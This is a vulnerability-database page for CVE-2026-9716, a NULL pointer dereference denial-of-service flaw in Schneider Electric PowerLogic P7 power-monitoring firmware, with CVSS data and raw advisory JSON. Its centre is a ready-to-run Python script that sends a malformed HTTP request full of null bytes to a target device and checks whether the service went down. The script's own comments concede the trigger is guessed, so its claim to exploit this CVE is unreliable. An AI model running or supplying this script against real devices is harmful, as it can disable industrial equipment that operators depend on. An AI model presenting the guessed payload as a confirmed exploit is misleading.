Security Vulnerability Report
中文
CVE-2026-9716 CVSS 7.5 HIGH

CVE-2026-9716

Published: 2026-06-25 16:16:44
Last Modified: 2026-07-01 19:52:38

Description

CWE-476 NULL Pointer Dereference vulnerability exists that could cause a denial-of-service condition, rendering the device’s HMI and configuration functionality unavailable when malformed requests are received over exposed network interfaces.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:schneider-electric:powerlogic_p7_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:schneider-electric:powerlogic_p7:-:*:*:*:*:*:*:* - NOT VULNERABLE
Schneider Electric 受影响产品(具体版本请参考官方安全公告SEVD-2026-160-03)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-9716 - Schneider Electric NULL Pointer Dereference DoS PoC # This PoC demonstrates how to trigger the NULL pointer dereference # vulnerability by sending malformed requests to the exposed network # interface of the affected Schneider Electric device. import socket import struct import sys import time TARGET_HOST = "192.168.1.100" # Replace with target IP TARGET_PORT = 80 # Replace with target port (e.g., 80, 443, 8080) def craft_malformed_request(): """ Craft a malformed HTTP request designed to trigger the NULL pointer dereference vulnerability in the affected Schneider Electric device. The malformed request contains invalid headers and unexpected values that may cause the device's request parser to access uninitialized or NULL pointers. """ # Malformed request with invalid/missing required fields # The specific trigger varies by firmware version payload = ( b"GET / HTTP/1.1\r\n" b"Host: " + b"\x00" * 1 + b"\r\n" # Null byte in Host header b"Content-Length: -1\r\n" # Invalid negative content length b"Transfer-Encoding: \x00chunked\r\n" # Malformed transfer encoding b"\r\n" b"\x00" * 4096 # Null payload ) return payload def send_dos_request(host, port, payload): """ Send the malformed request to the target device to trigger the NULL pointer dereference and cause denial of service. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) print(f"[*] Connected to {host}:{port}") sock.send(payload) print(f"[*] Sent malformed payload ({len(payload)} bytes)") # Attempt to receive response try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[*] No response received (possible crash)") sock.close() print("[*] Payload delivered. Check if target HMI is unresponsive.") except ConnectionRefusedError: print(f"[-] Connection refused. Target may have already crashed.") except Exception as e: print(f"[-] Error: {e}") def check_service_availability(host, port): """ Check if the target service is still available after the attack. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) sock.close() return True except (ConnectionRefusedError, socket.timeout, OSError): return False if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT print(f"[*] CVE-2026-9716 PoC - Schneider Electric NULL Pointer Dereference DoS") print(f"[*] Target: {host}:{port}") print(f"[*] Checking service availability before attack...") if check_service_availability(host, port): print("[+] Service is available. Sending malformed request...") payload = craft_malformed_request() send_dos_request(host, port, payload) time.sleep(3) print("[*] Checking service availability after attack...") if not check_service_availability(host, port): print("[+] Service appears to be DOWN - DoS successful!") else: print("[-] Service is still available. Payload may need adjustment.") else: print("[-] Service is not available. Target may be down or unreachable.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9716", "sourceIdentifier": "[email protected]", "published": "2026-06-25T16:16:44.107", "lastModified": "2026-07-01T19:52:38.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-476 NULL Pointer Dereference vulnerability exists that could cause a denial-of-service condition, rendering the device’s HMI and configuration functionality unavailable when malformed requests are received over exposed network interfaces."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Schneider Electric", "product": "PowerLogic™ P7", "defaultStatus": "unaffected", "versions": [{"version": "Version V02.003.001.000 and prior", "status": "affected"}]}]}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T15:49:53.446856Z", "id": "CVE-2026-9716", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:schneider-electric:powerlogic_p7_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.004.001.000", "matchCriteriaId": "42259C2D-F54D-4CCF-A531-61AC5C9DA1F5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:schneider-electric:powerlogic_p7:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5E66F05-D933-4AF8-8EDF-A959AE4CD7BC"}]}]}], "references": [{"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-160-03&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-160-03.pdf", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}